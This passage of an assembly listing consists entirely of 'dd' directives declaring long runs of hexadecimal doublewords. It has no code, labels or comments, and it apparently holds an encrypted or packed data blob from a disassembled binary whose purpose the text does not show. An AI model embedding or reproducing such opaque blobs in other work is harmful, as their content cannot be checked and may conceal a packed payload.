0C4DC61EBh, 87706B62h dd 627566D7h, 938C0E96h, 61CFB725h, 609306EDh, 0F7936F80h dd 55E0E7F1h, 0DFB49B41h, 46F73CE4h, 6DAEADF0h, 804F45E7h dd 7F618F44h, 449AEFDFh, 4965E7F7h, 0F7EDE805h, 0F94400F7h dd 0D7506A8h, 0D0C4E486h, 2A114D73h, 71E60465h, 8E69119h dd 95ED8522h, 0D68CADC0h, 0D7822D8Dh, 626AAE2Dh, 0E0D7E877h dd 70ECC761h, 6C7EE72Dh, 0FB6D9DADh, 0A34DEBC7h, 0C7A581A9h dd 0C746006Eh, 0A37DEE6Dh, 0EDE58645h, 7528E0EEh, 8D39CA47h dd 818F2FE7h, 0A2F6B4B4h, 0BF4A45ABh, 0A1B13CF4h, 0F4FF8555h dd 75A1B131h, 0BCF3B297h, 165DAAE7h, 4C68B286h, 88BEAC09h dd 0A3E7DBADh, 0C9C04761h, 4968E7B4h, 5B2DBDE1h, 0C6942729h dd 434144DDh, 8369D474h, 75D7D047h, 0B6D186E4h, 652A5101h dd 342DCD05h, 4D65E7F7h, 7151ADB5h, 0DEC61486h, 0A2A24DB4h dd 26D48579h, 0C40DD725h, 9B6DEC86h, 468A2011h, 91B1EDECh dd 0A9A022B1h, 0DB52672Dh, 81A1EF5Fh, 55A5F08Fh, 0E5ED7257h dd 0C604A1DCh, 737FB4F0h, 7D36F8FEh, 0EBAACB82h, 7CD9447Dh dd 65A9119Fh, 0CBEDC1C4h, 46086E8Dh, 33E6ADCFh, 0BDF6E05Bh dd 0A4AE1FEDh, 1635249h, 0BF3B6374h, 7C74BBD7h, 9765A0E7h dd 0E7FB064Dh, 0AE605DA7h, 0A6B3C2EDh, 2DD64604h, 0E8B5F79Ah dd 14476A3h, 6D47591h, 0D7FFADF5h, 0FB4687ABh, 246F586Dh dd 0C161B749h, 556350B5h, 4B2D85F6h, 600AFFF2h, 0C7E5EDA9h dd 0AE76F339h, 41C7386Dh, 0B7E284D8h, 444FE754h, 0FAEDADE1h dd 27166E7h, 0F7167BBCh, 0B56C0005h, 2DF776EDh, 6DD3C575h dd 41ED5045h, 0BAB6E605h, 549A5F7h, 0F77A71CDh, 743C75A5h dd 21F71A47h, 837F5C10h, 4969D7BAh, 0E0AD68B7h, 0C741A1C7h dd 61BFEDD4h, 0DEC5A0B4h, 25E734EDh, 0EDE10479h, 7DEAE72Bh dd 0C7B3DD04h, 841805F7h, 0F7727BE7h, 9B53208Dh, 7A106D44h dd 0EDA3EDC0h, 59A8C7DFh, 0C53CCC85h, 0AF596DE7h, 0F7E4AD63h dd 0AC9ED0D5h, 0CBC7C96Dh, 0ADBB7C8Fh, 416BE715h, 7623F807h dd 0A0756591h, 0A38EED9Eh, 0B3B375A2h, 0EA328477h, 0F7933755h dd 45A0C715h, 926DF246h, 508884Ch, 61740BCAh, 0F8C77D6Bh dd 0C2F77603h, 3C7C7C4h, 51A24258h, 3540F7BEh, 6616611h dd 0F707B2CEh, 0B5BD7DE9h, 20C799FFh, 2DD54641h, 0AA17C731h dd 0C43393E8h, 0D14D646Fh, 3039315Ah, 0BD71C743h, 0F0F7D8C8h dd 0ADE585F4h, 6D2BE0EEh, 0F3F9D547h, 4AD87691h, 2013D898h dd 82A8C34h, 0E0F7E3F4h, 2D8DD775h, 9B50C791h, 3662BE2Bh dd 0EF3BFF00h, 5011FBB7h, 0BCBA41A0h, 22E74AADh, 0F4F6877Dh dd 6522F786h, 8C2DD646h, 6A53CFC7h, 0E7D8F46Eh, 0C8066437h dd 37F7DCF4h, 6DA9E158h, 0F0F4D7C1h, 0CBC1AA63h, 5556BE7h dd 0E70DF4F6h, 0FB0541E2h, 0A5F714B7h, 0EDDC0475h, 41A281E5h dd 65F4F605h, 0C17162A1h, 0AFA72DBEh, 9FC17122h, 0EDAFA7EDh dd 2DA4C171h, 75EF93A7h, 18FCE0C7h, 8975E950h, 0E7B12D8Dh dd 99004D60h, 77B14EADh, 798B74C8h, 792B40FBh, 13F4DD84h dd 0E34DEBC7h, 21B12DA9h, 113155E0h, 25A10AB6h, 6D2C4275h dd 0D030E7FEh, 0DBCC3C7h, 0C575EF31h, 20E1BCE4h, 0A1D6C03Eh dd 0B2611DEDh, 0ADD184C0h, 8394BC54h, 0CDAD8DFAh, 460419C7h dd 0EEDAEDD3h, 0A45DB8B6h, 0A2D7DFEDh, 0B0970179h, 69A5D71Fh dd 0B96D6EE3h, 0C451ED10h, 0D77FF1EEh, 8D7A55E5h, 29221E2Dh dd 0AD10774Dh, 41E9D7A5h, 692DE446h, 44449DB3h, 0D7126DE1h dd 0C1A07478h, 0B3410CEDh, 0BCCC85E4h, 6567D7E1h, 0CE83FB46h dd 50F43F63h, 81C9F98Eh, 8E4F6CF6h, 5AC7D977h, 0ADA863CEh dd 4D6DB11Ah, 0BCAD7C0Dh, 0E341E0FCh, 0E7FFEDB1h, 4DE35DEEh dd 0AB3DE06Dh, 0ED9EAE80h, 5DA2F71Bh, 6C3FAC5h, 216D6BC7h dd 0A057ADBCh, 0CBC74880h, 0EAD72BF7h, 0ADB26D5Dh, 55ACF7DFh dd 3EC7D686h, 0C76846E7h, 0F7CAEDD8h, 0A6E165ACh, 2741C2EDh dd 6DAC0D45h, 75ABE7B2h, 262D85EEh, 661ADD7h, 0E77FBCF0h dd 0E685B04Bh, 40938DEDh, 0B7E706D4h, 6743D7C4h, 15ED9EB1h dd 0C77525D7h, 93B06DC1h, 0CD057166h, 0A253B16Dh, 0B5F3C455h dd 616321FBh, 0E67F99B5h, 0C570B2E7h, 0E7BA6DECh, 0DD4649ABh dd 0A630A3EDh, 8FD3C549h, 0F402E7DCh, 7EDCF04h, 655A1D7h dd 0A15BADEDh, 0E3054928h, 0E5C7792Dh, 0ADB57C4Dh, 49BC730h dd 906DFE46h, 0ECECF6C7h, 733FED94h, 0B7CF5042h, 8C633FADh dd 0EDDC85C4h, 49A271F2h, 64FFDBC4h, 7FD897D7h, 0C705F78Bh dd 0E6C559A9h, 0EAE75C6Dh, 379A4E75h, 45A6F71Ah, 0C8BFF407h dd 379EFA1h, 116A5782h, 0DA2FF90Fh, 0C9C7F477h, 2D8D5AC3h dd 0F7CCC165h, 0DF44CB85h, 807121D7h, 0F7DD37BDh, 0DB456DA2h dd 0CBF725FFh, 37CA6E78h, 0F1CAF730h, 0DA75F585h, 4FC07B7Fh dd 0F7FDAD90h, 0D9855166h, 0F1C7706Dh, 77C58444h, 4052D765h dd 0B0B4D184h, 484DAB71h, 0D7B42D8Eh, 810DC887h, 0A1533CFFh dd 0ADBC0D45h, 78008344h, 68EDF304h, 0C8DD910Bh, 0D7A0BE3Eh dd 0C5C55210h, 87E70877h, 0AD904810h, 0C4FDD7D6h, 7FADE646h dd 0EC5DE913h, 37DADB9h, 0E80471E5h, 636176EDh, 0EDA0486Dh dd 6FFDC779h, 44ADBD23h, 176966B3h, 0E72674BFh, 0CDC665ACh dd 0E4E7E5ADh, 74918079h, 74BED7C8h, 0D86D8620h, 46C40F6Dh dd 0E70504E0h, 0C6C5696Ah, 0A27DF16Dh, 0ADCD855Dh, 1446E0A4h dd 7AFFDD87h, 2079A2B3h, 0D7C91F96h, 0A6C378BEh, 0CBF17044h dd 0EDED07D8h, 55ED93B5h, 0F02DD005h, 0C5603EC7h, 7045F1E9h dd 0E98465AAh, 3DE7EBC0h, 0B8C8C5D8h, 79EDD7E9h, 0DFEDFDC6h dd 0C045A4D7h, 0A1C5BC9Bh, 9B295525h, 22E7EC2Dh, 7CE6866Dh dd 0F4996161h, 0EF89E045h, 6616BD2h, 0A03AADF6h, 0B303796Ch dd 0A1C74AADh, 0ED9B6287h dd 0E872E784h, 7A6DE685h, 0C561A5E7h, 51CA76D5h, 0A4EC6DE8h dd 0E5C753ADh, 74C7453Ch, 6165611Ch, 0F92DDBC7h, 0E165E6C7h dd 0F7D2AD99h, 0EE841BEDh, 0B2E7646Dh, 41E8C540h, 0E81B11EBh dd 0CF61C586h, 0AD69ABC0h, 0ACBC01B9h, 0E3C671A6h, 27A1C881h dd 0ADB8886Dh, 5DE9AD87h, 982D78E3h, 0C5C44693h, 0F7E86DE8h dd 9C6D3BA1h, 0A2F762EDh, 0ADCF046Dh, 792EC0B0h, 7FFD646h dd 4D416AE7h, 0D7DFEDA8h, 0E98579EFh, 0E7E5B8h, 0ED9A93A0h dd 4565C77Fh, 66ADC746h, 1648035Dh, 417591AEh, 0C4847D26h dd 0E7138B44h, 6DB8EC6Dh, 64F6D793h, 83E0EA04h, 2512A91h dd 0F7FB77ABh, 693D51AAh, 0A4D2B8EDh, 0EDDBC741h, 0FCC1818Ch dd 2F8D804h, 0C5C357F0h, 0C7DF10C4h, 0AC02712Dh, 21B02374h dd 76A2016Dh, 6DA0C856h, 509B336h, 0E26526C7h, 5146EDB6h dd 0BD016DA1h, 0E4313AC1h, 2DE04645h, 58C6D759h, 0C8EDD306h dd 886DE6A1h, 0E09DADBBh, 0DDC46563h, 0CA929AFFh, 6D012AE9h dd 0C8F9CCA7h, 5FAEDC7h, 8755A7F7h, 0B1ABBFF4h, 0FD4765A7h dd 2FE70D00h, 74A68C61h, 0EF8D4127h, 0B16D95E1h, 0C5641B63h dd 0C78D74E0h, 0E9C79338h, 0EFF7C5EDh, 0F364F24Dh, 6D6BD7C7h dd 0F06DEE85h, 45C836E7h, 0F7E6ADF5h, 0DD064DEDh, 0E201DEF4h dd 2DA5377Dh, 6166D7E0h, 5FADD7C6h, 5870BDD7h, 10B8B34Ch dd 0F5C4616Dh, 0C160D0EDh, 2DDBC748h, 7D62F72Fh, 952D994Eh dd 0C5592BD7h, 0F7166DEEh, 0E1C64163h, 76E765EDh, 6DE9C7D0h dd 45A1E7A5h, 7F76DACh, 0C44125C7h, 0F7952DD3h, 99BC6DE5h dd 0A851B02Dh, 0ADB6DC45h, 6124E786h, 87EDB63Fh, 3859A0F7h dd 7002ADB3h, 8EBA45A0h, 0E9C758B3h, 0ADB8BC4Dh, 75A2F7E6h dd 5B2DE404h, 0C44DA5E7h, 0D75B6DE6h, 0E6047D26h, 26D77FEDh dd 6DEE844Dh, 884ED737h, 0B8EDEDC4h, 0FF6DE1C7h, 0F70BED85h dd 0D6C764B0h, 6DD7A3ADh, 2DF6C64Dh, 552DF71Fh, 0E4EDE7C4h dd 8669AAD7h, 0E7F2EDC4h, 0DBC4756Eh, 76E7A72Dh, 0ED845D90h dd 556BD7A3h, 776DE885h, 0BF5DEBE7h, 0E7C2EDC4h, 0F0C6756Eh dd 0A5424FBCh, 0AD7C7F5Dh, 4D6DD7E4h, 316DAE3Ch, 848807D7h dd 910E33F5h, 0D1C451E5h, 60C7872Dh, 0ADB0BE65h, 2CCB31FAh dd 90B2D384h, 0C7084050h, 447A2DF4h, 0DD84138Dh, 0EBD7052Dh dd 2D911C45h, 712D51B0h, 0B8ED8E80h, 0F9A0C2C7h, 0E71B2DA4h dd 0C105D89Bh, 20C7373Fh, 2DFB0549h, 0DC4EE778h, 7933F886h dd 50BCA50h, 72332DF3h, 0DE863CD7h, 0A2E753EDh, 0F7E2845Dh dd 55E231FAh, 6AD94FFh, 0C7696650h, 0C7ED2DDEh, 729F7D2Eh dd 69D707EDh, 2DCB8669h, 61A8C718h, 0CFADD145h, 0E5692162h dd 0C7ADAD90h, 0CE05A30Fh, 2DF7632Dh, 73D2C449h, 6DAE2C31h dd 57823EFEh, 1988165Eh, 0E7B7F34Ah, 0EBC741A5h, 0C828C5ADh dd 33CEC480h, 9C07D776h, 252D8E6Dh, 0C584C8F7h, 0E7BA6DE6h dd 0ADE265AAh, 20028EDh, 42D2C7E4h, 0A0C571E7h, 166DEE86h dd 0C7009C40h, 1087ADFBh, 9BFB0812h, 5D502E72h, 72F20588h dd 616D01B2h, 0B66DAD5Fh, 65D25D7h, 62412DE4h, 965F616Dh dd 0EDE7ACADh, 0B1EB0451h, 0B00C612Fh, 0AE737B9Fh, 85416572h dd 6EC24BF0h, 0AC7F45A1h, 6BD7E3EDh, 0AC44541h, 808E8112h dd 163AD47Ah, 74C3560h, 0F75FCCF5h, 0E7C7752Dh, 7E7A70Bh dd 6DAC22A0h, 756DF764h, 99EDD5C4h, 6D83A40h, 51B0EDEDh dd 848165AAh, 138C106Dh, 2DF9C774h, 75253CCEh, 7BCE007h dd 0C755A6F7h, 215FBEF7h, 0A4A165E1h, 25D79D2Dh, 0ADEDC569h dd 0C835D7E6h, 0B1ADB65Bh, 867D2AD7h, 9F3594F5h, 0F5C54234h dd 0F1D7E7ADh, 0ADE5C74Bh, 6BF0B16Eh, 0C76DC1C7h, 0E0EF77F7h dd 0E75A7C2Fh, 0E0C46961h, 0E4E7F754h, 0ADDCC765h, 0A4AE830Ah dd 5AEDE144h, 0C76BF1D7h, 0F011ADDDh, 0F64441A2h, 0E2A28BADh dd 0B4CBC555h, 0E4B98F35h, 0DB60DC85h, 80412F61h, 0F7070899h dd 61DD71A4h, 0E9F7C5EDh, 77DD4665h, 4BF1D7D7h, 0CD2DED45h dd 4655E470h, 0E786ADF4h, 0F4857561h, 0AC4146ADh, 0FFC7866Dh dd 588CE051h, 5DEDE806h, 0C571669Dh, 0E77884E1h, 0ED4490B8h dd 85E7E0EDh, 0FF6F522Bh, 0C3B1E70Dh, 71EDD8C7h, 744D609Dh dd 0A81B2DACh, 5432ECF0h, 0C7E71AF1h, 0EDD104B0h, 41A1E786h dd 1EADF5C7h, 5F01B93h, 41CA04CDh, 626BE951h, 98C7B82Dh dd 36E18458h, 1B79B899h, 70040D0Dh, 0C67563E7h, 92B7ADE4h dd 4982FC3Eh, 0EDF0593Ch, 0B7092E45h, 65A1C787h, 1F87CB85h dd 0EB65E1D7h, 0E7EDB4B9h, 8EA0D4F4h, 0A471323Eh, 8FCCC745h dd 0AC42510Ch, 782DDA85h, 0AC59E4E7h, 0E71F0CF9h, 0F2C769E8h dd 30F71A72h, 71EBC780h, 6DA5F71Ah, 5774D42h, 0A9E43ED7h dd 0FC96B5BBh, 0C88461E0h, 0E0D7E7CBh, 0AD943D69h, 0D45261D6h dd 0DD2DB4BBh, 0E045E1D7h, 0D79BAD98h, 0CCC6696Dh, 81D7D5ADh dd 0EDD5C737h, 30546C76h, 732DDDC4h, 0C4656DF7h, 0F7F533CEh dd 0EDC6E404h, 0A2F777EDh, 77D50675h, 4D6AD707h, 1C2D644Ah dd 3DC8F3D7h, 0A3BFB4B9h, 0A90B420Eh, 2AD7D7F7h, 6DF84641h dd 792DB3E1h, 0F9EDE587h, 5C8F4E7h, 607F2DDFh, 0E604792Ah dd 6750C2ADh, 2DE4C659h, 5125E79Fh, 0E1ADE2C7h, 0C769E1F7h dd 0D7DBADEDh, 0C9C784E5h, 2DFC762Dh, 0B3F88765h, 0DC7552F1h dd 0E72D8A28h, 0C465A951h, 0E7D92DD9h, 0E184E7DDh, 0EDE714EDh dd 0BEDC4645h, 45A53D46h, 0B8AD6C29h, 3C6969D7h, 0F7DBFC92h dd 0FB0645A5h, 21D786FEh, 6DECC555h, 985DF7F7h, 0C8F4A92Eh dd 0C4E05733h, 0C7FCF7F8h, 0CDC4752Ch, 0A1D71AF1h, 6DD9C741h dd 0CF77F742h, 35ADE3C7h, 0C6456DC7h, 0E7C432F3h, 0ADCD4DE9h dd 0E1D7766Dh, 0EDAC3749h, 59A5E7FBh, 5FBA7581h, 866DAAD7h dd 8105EDC4h, 0BE2DC8D4h, 8751AAADh, 0CB8BBE2Bh, 0FC7503A5h dd 0A5AD98F7h, 4549A8D0h, 52EAADF4h, 0CFC661A4h, 6940752Dh dd 9BE8FC71h, 552150FEh, 5C6DE606h, 0C441EAE7h, 0F799EDDEh dd 0DC04552Dh, 249128EDh, 0EDB57549h, 5D25926Dh, 62ADF0C7h dd 0C669AA03h, 0B1AAEDE4h, 0A6895DA1h, 66D793EDh, 0EDEA0669h dd 5D66D706h, 953BBF89h, 0C5756AF7h, 0F705ADECh, 83696D6Ah dd 0A5C778F2h, 0F0846961h, 5520126Ch, 6ADBAFFh, 7469E150h dd 0E7635BB1h, 0DE06C7B4h, 0CFD7A534h, 43CC8727h, 9A0FC76Ch dd 1E6DE685h, 1F91ED91h, 54156D75h, 0D8C41A49h, 6DF07937h dd 0F651374Dh, 0C057F73Ah, 6A37D804h, 0C65D67D0h, 0F0B2EDE4h dd 0E50694DFh, 0AFF035EDh, 3172E051h, 59E9322Bh, 36EDE106h dd 659EDD7h, 0B11BEDDAh, 0A3396DE6h, 0C8F7327Bh, 0B3C006B4h dd 9CE1E71Bh, 5533BD61h, 0F6AC2AFCh, 7007F68Ch, 0ABFF9F9Eh dd 75F72BF8h, 0ADF204B0h, 6DA51016h, 50EDB69Ah, 9A4D2A12h dd 0E739F0BBh, 0B6E17D24h, 291CDCEDh, 2D4E159h, 0B4EC61B1h dd 0ED2D8E31h, 0E10B37C7h, 8566ADAAh, 0C8C776B4h, 7292F149h dd 3B8161DDh, 0ECC0F0B2h, 0AFF4D405h, 6946D31h, 0B0F87AF9h dd 0FFC47D2Dh, 0F6F775B3h, 2D9D30CCh, 5D26E79Fh, 9FB79589h dd 895D66E7h, 0D786EDAAh, 5FB44127h, 75C7AFB3h, 70EFC45Ch dd 9472E737h, 28EDD684h, 0C6E07581h, 0C7E42DDBh, 0DBC76921h dd 0BF316D2Dh, 1945390h, 65AAC772h, 0FB9AE21h, 0B45DA23Eh dd 0BED4509Dh, 0D80508A9h, 2A42C171h, 6DEEBF75h, 340CC756h dd 7EDE304h, 7F5525C4h, 0D77673D1h, 49120F8Eh, 0C8F4C861h dd 0AD921793h, 51A21E8Ah dd 0D431A32Eh, 0C5E8750Ch, 6330F1h, 9B291BEh, 0EA3049F1h dd 0ADDCC749h, 496DBCE1h, 0E609E404h, 0DF0C75A0h, 905BF83Eh dd 8D728AD8h, 37A05BF0h, 2D6B5AABh, 5BF4E70Ah, 0ABC4F346h dd 0C61FF1C7h, 8FE780EDh, 0F2FF9005h, 0F36073FCh, 0A49EFD9Dh dd 0A826936Eh, 0E3F4D1C5h, 2C652AE7h, 1518ADA5h, 0F385F41Ah dd 0FCA59DFCh, 0EDF2C6E3h, 65EBF705h, 2FADF606h, 9459EAE0h dd 93DEADB3h, 85546DA0h, 26E786EDh, 6DECC76Dh, 4922F010h dd 566DE6C5h, 0B86D2AD7h, 0D03C6DA6h, 0E846492Ah, 0D0C282EDh dd 2DD30568h, 696BE711h, 0EF6D8449h, 0FC75686Fh, 0D72B2D91h dd 0C5464928h, 6692E633h, 0B1C24569h, 492AC72Dh, 0B82DEAC5h dd 0C6A815E7h, 0F72BEDF1h, 0ADF4A4E1h, 0ABD779EDh, 0AD90D875h dd 4D6DD7ECh, 0A12DCE86h, 1989D6D7h, 1CB5ED6Fh, 8DD88457h dd 71007C2Dh, 0FCF587F4h, 4524F787h, 6EAD664Dh, 6CC0BB1h dd 213D37FAh, 0A97E65A2h, 6DDE8E6Dh, 71F50455h, 49A604EBh dd 2D49C8C7h, 645A0F7h, 0E7BC6DE6h, 0A0EDA468h, 0E7D7A9B0h dd 0EDAE2961h, 0F0D6B13Eh, 7EDF204h, 0C775ECF7h, 0E71A52FAh dd 91B7D0F6h, 56D7ABF6h, 0ADD18638h, 0D39FD79Fh, 0AEE1C0B5h dd 0B76521E0h, 0C72DB7AEh, 0C8047129h, 562AC7ADh, 0EDC5440Ch dd 5D6BD732h, 3B6DE684h, 0E14165E7h, 223482A5h, 0CA042C91h dd 0AC3CF62Dh, 7496B8ACh, 6565E73Bh, 0B7A287E1h, 6165EA20h dd 3100F097h, 0BD619CDDh, 68D7842Dh, 0AD91C17Dh, 45E0D7E3h dd 0AE6DD246h, 7C7160B3h, 0D7A5F19Ah, 0DDC72852h, 21E71AEDh dd 0F4CB45B4h, 8C7C20A2h, 91FEFB04h, 0C479EBF7h, 0E7976DE0h dd 0B15554D4h, 6DD0FDADh, 0EDCEC54Dh, 616D5018h, 3C60D206h dd 0F27122C0h, 0D718ED5Eh, 0FCC5A013h, 0E2D77781h, 0B1D3C48Ch dd 14B7F7F2h, 61AD5814h, 0F7692991h, 0E7FAB05Dh, 0A3D74966h dd 0E7D7DEF4h, 6DED8455h, 5CBF5171h, 0B8EDEA06h, 0A059E6D7h dd 0E0582D89h, 0CEC5886Ch, 0F0E7EE2Dh, 6D29A304h, 1FF3D7C7h dd 4E717C83h, 0E160FF91h, 0B3497C90h, 0A6F155E7h, 0A8812478h dd 7CE60684h, 796281D2h, 0C4B3BF2Bh, 0F6CC3B93h, 0F786B45Bh dd 0ECBCB728h, 6DB1C76Dh, 0ADB40265h, 0D4C49DD8h, 7254A0A2h dd 0C58AC2D7h, 0F7E4A3DFh, 0F6456922h, 0F5E72774h, 3851DF50h dd 4965F71Eh, 163EE05h, 0C5412A62h, 91CFADD9h, 0D345416Bh dd 8FD7A6CFh, 0B385CCA9h, 7D2EAD43h, 4AB705E2h, 465F41C7h dd 0F728EDECh, 91A008ADh, 6DF727ADh, 0B0DAC54Dh, 9BFDC7A1h dd 0D9AD9054h, 73CC55C7h, 903B7F6Fh, 0EBC708DEh, 2DB133EDh dd 77FE0441h, 4DA2F76Ah, 0A2EDDE85h, 8E612CE7h, 934337ADh dd 0D1C55166h, 0A55D096Dh, 0EDC0C769h, 93605D49h, 756DA830h dd 0A79A5E7h, 0C7D2AD4Dh, 0ADE855ACh, 0ECE7CAB6h, 0AD51E855h dd 5563E760h, 0F13FFCC6h, 46E408E7h, 0D76417FAh, 0C104752Ah dd 2AD7E4EDh, 0FD38665h, 596BE7A0h, 7F2DA98Eh, 464565E7h dd 93AA77C6h, 92C979E9h, 15E7196Dh, 2D95F5C3h, 0FC78F71Fh dd 653FC7C5h, 0B5FC4AC7h, 611874A3h, 0FB46D8B7h, 0EFF715ADh dd 0EDD40555h, 78CB41C8h, 0B317D3C5h, 7C0A0C7h, 0E7E9ADE1h dd 0F907D88Eh, 0F033B4ADh, 2DEA05C8h, 79E2913Fh, 0B837C785h dd 6F7126D7h, 0C791FE47h, 0D706FB97h, 90F79EADh, 0ADCD4554h dd 4D27F7A5h, 0E32D8DAEh, 6D84AD7h, 13B4B7DCh, 0DAC67D6Dh dd 91F7F56Dh, 2DE20548h, 49E2D7B3h, 7DE6BAB5h, 0A061EA3Fh dd 232637B7h, 0FC464563h, 0A7F7DF3Fh, 0F4CB0665h, 75A83324h dd 0E7366CA9h, 0C4BC1402h, 0E7A8EDDCh, 0D1847D2Ch, 2AD7E17Fh dd 0EDED0471h, 59AF61D2h, 0FD3F8E8Eh, 0AE4DECF7h, 0E7A86DACh dd 0AF0B4D6Ch, 0EF40176Dh, 7EDF8775h, 0B025D7ABh, 0ABEDD204h dd 0A77526F7h, 0D7F87791h, 0F5476124h, 6B6CDE6Dh, 6DC6C575h dd 71661D1Fh, 7906C1C5h, 0C74965C7h, 0F7F87EE4h, 8E2E4DABh dd 63E79D2Dh, 0BEE04455h, 71E3E7CBh, 0A52D8DC8h, 844031C7h dd 0D7FBADCDh, 0F504A765h, 2AC799C1h, 0F2B721DCh, 612AD7DAh dd 927CB528h, 471E421h, 3116EDC4h, 8D0BDB5Eh, 0A7F7412Dh dd 46916B18h, 45A2E029h, 0FBFEE2C5h, 0E955EAC7h, 0D74F2D4Dh dd 0AA615D2Bh, 20C7E5F6h, 0EDA90EBCh, 5DE6E7DFh, 0D46DA6C0h dd 0B45125E7h, 0DC3DF171h, 0E4744524h, 6BEC72EDh, 0A19F2B5Dh dd 0BE4DCC5h, 0FFED7554h, 0AB596AE7h, 0D273ED47h, 0D90551EDh dd 0C173096Dh, 0ADCF058Ch, 416BE7E4h, 8C81F6C6h, 0C5C48C2Ch dd 0E7DFADF3h, 47A975A6h, 0CBC7DDF2h, 0AD93A240h, 0F402D090h dd 1D2D81FCh, 5580A893h, 0A3C1ED41h, 0E546E47Bh, 1ED721F4h dd 0ED905464h, 54CED7CBh, 0D66DA5AEh, 28C85403h, 0C7E52D8Dh dd 96968B60h, 0EAF7CA79h, 3B7EE955h, 0F054F731h, 74B0D004h dd 474525E7h, 0C7076DE7h, 0DB856520h, 0FCE758B4h, 0ADE54744h dd 792B8137h, 0F8ED6471h, 44BCCAF7h, 90AFEDE1h, 0E4861CF7h dd 0BBD776C7h, 2DDB46E4h, 4125C787h, 0E2F0F8C7h, 378BB682h dd 215EEDA9h, 0FE4659EBh, 0A3C765F2h, 0EDE94741h, 0B0347103h dd 85EDC704h, 7652AC7h, 235CEDD0h, 0B5707965h, 0F5B27F2Dh dd 2D8621C0h, 0ECB0C7B7h, 95ADBC6Eh, 87B4E941h, 0C7B3B8DFh dd 0F80679A3h, 0E5F7E7F0h, 0ADD18479h, 9434E7FCh, 8FED9BA2h dd 0FFCC4C10h, 0D7E3ADABh, 0EC064567h, 0DEE784ADh, 0EDE1C4DCh dd 7925F77Ah, 0ABADF584h, 45552091h, 0E7B4BAD6h, 0D6464925h dd 6AD705EDh, 30962E7Dh, 0B04AF717h, 0E66DEEC5h, 44652DF7h dd 13BB6DE1h, 0BAF071E9h, 0E9609AEDh, 6DA4F255h, 45A5F71Fh dd 0C8F5DD07h, 0C465AA41h, 0E7EDEDE1h, 0CFC551A2h, 20C765ADh dd 6DAD2180h, 14ABF7F7h, 4778B774h, 0C78485D7h, 10A9EDEDh dd 0F2C4F81Fh, 0A1F786ADh, 78CFC545h, 83FC7E6h, 92789454h dd 2E752013h, 0E7766DA6h, 0CE456525h, 6562972Dh, 35DA4571h dd 44B4B170h, 77EDC5C6h, 0AE285492h, 0C715ADB8h, 0E9C461AAh dd 5C7F5EDh, 36822214h, 7561B1B6h, 93ADDDC5h, 0C745E4B1h dd 0D7A5F6C6h, 0E5077D25h, 25E71F2Dh, 6DDBC559h, 65E0F7D5h dd 0BE2DCD84h, 754436B1h, 0D7B8F2B1h, 0E3C541E5h, 2AD715EDh dd 0F8B1BC49h, 59E41DA3h, 90EDB5A0h, 0C4D0D931h, 0E708B1C0h dd 0D3059F63h, 18402637h, 0ADDAC5E4h, 4920C71Ch, 2EADA25Dh dd 600CB450h, 0F7F82DBCh, 0DAC769E7h, 6493A3ADh, 0ADE1C749h dd 7DE5F0FCh, 632DCEC5h, 0C5696DC7h, 0E7F62DDAh, 8DA3BCA3h dd 31C7452Dh, 83D3C468h, 75226155h, 5CB39B74h, 0B1E8C8D7h dd 0E7CE6DA8h, 0C04555A7h, 2BE785F9h, 3AF28475h, 6961E78Dh dd 846DAC09h, 8071E8E7h, 0E097B4B4h, 91F6416Eh, 0EFE0976Dh dd 6DE0C749h, 68B0F7DDh, 0E36DEF84h, 0C641E6D7h, 0C7136DE1h dd 0E2C7D432h, 0A08170EDh, 2DDDC7C8h, 79EC6D06h, 0C834CDC4h dd 7D019C7h, 0E72603C4h, 0CA04652Dh, 6AD7C53Bh, 0ADD94565h dd 8415E7E0h, 26ADDA04h, 0C6A841F7h, 0C7C5B3ECh, 0AAF0F31Ch dd 0E5C71FEDh, 0B3ACA061h, 45E9F7C4h, 536DF2C5h, 0C5796341h dd 0E7DB2DE4h, 0DE8441A5h, 69F795EDh, 0EDEA87A4h, 5927E704h dd 0EC2D9A5Eh, 8771ADF7h, 7153EDE5h, 0A575C0F0h, 0A131C92Dh dd 31EC8775h, 8469F7C2h, 0CE31EC47h, 0C6B469F7h, 0F7CC31ECh dd 0CAC5456Bh, 1B12603Bh, 0ED9EB2D4h, 75E5111Eh, 1EEDC804h dd 85D8B601h, 0E7F7ADEDh, 0C9856DA2h, 6BB137BAh, 39C0C57Dh dd 45A9E7B6h, 0DD2DCCC5h dd 0C5B6DDE7h, 0E7102DCCh, 0CCC5A2DDh, 0DDE7562Dh, 72E1C724h dd 716BF7C5h, 6552E5C6h, 7556BF7h, 0C71B42FEh, 0C2047167h dd 0ADF705EDh, 0BCF04675h, 0B9E81BCh, 0DAADE5C7h, 98E8CBC7h dd 0E786EDAAh, 12DB412Ch, 6FE7B22Dh, 6DF54641h, 808402C5h dd 176D9BFAh, 0C7A439E7h, 0F7F46DE8h, 0F68665E1h, 62D79FBAh dd 0AD40FB65h, 41E5E7D5h, 8EADD746h, 3B71A72Ah, 0C9462D8h dd 0F7C79097h, 511EC5ADh, 0ADEC4680h, 20970E93h, 9FFCF47Ah dd 5B51A6E7h, 0C7F8AD6Ch, 8D214527h, 0E7E7F8ADh, 0AD892145h dd 0F87620FBh, 0E2B4EE04h, 0C6335CD7h, 0E72172E3h, 0CC85A6DDh dd 0B0C7672Dh, 2DCC45E6h, 0CCF55043h, 0EAEDE2C7h, 471A6C7h dd 0D7C5EDF2h, 0D1C56122h, 0E4F7B8EDh, 0ADE2C479h, 65EDA3F1h dd 0DC2D0CF9h, 0E169A5F7h, 0D729ED99h, 0D0056F33h, 0A9F7BC8Ch dd 9CD80459h, 0F7BDF797h, 9534DB44h, 44C3BDF7h, 0F78B74C0h dd 0C044DBBDh, 0BDF78974h, 74C004F3h, 0C7BDF78Fh, 8D74C004h dd 84C7BDF7h, 0F78374C0h, 0B53748BDh, 25B1276Dh, 0EDD64665h dd 75A3339Eh, 48F2E047h, 619007E7h, 0F7C5EDA4h, 0F9C7107Eh dd 2DB3652Dh, 6DD10471h, 0ACA0D747h, 0E62DD805h, 85596D01h dd 99BAADE2h, 7C22E97Bh, 6BB3DBEDh, 7CE08469h, 796A2CFCh dd 6EDEA44h, 0DE7D60E7h, 0E7BCF7B9h, 0C1C7FCB4h, 39E7DB01h dd 0C0DBC7D8h, 0C7C7838Ch, 8CADE646h, 4D492D81h, 0C7FDBA93h dd 0D8845481h, 0AD70F7F7h, 0F0DDC561h, 8C7DF7E5h, 0E7ED95B8h dd 614DA2F7h, 61FEBCB4h, 0DA068051h, 6EF7A476h, 0AD9A9571h dd 0E7801A88h, 24B7C785h, 7D4F4B5h, 0C7F474C0h, 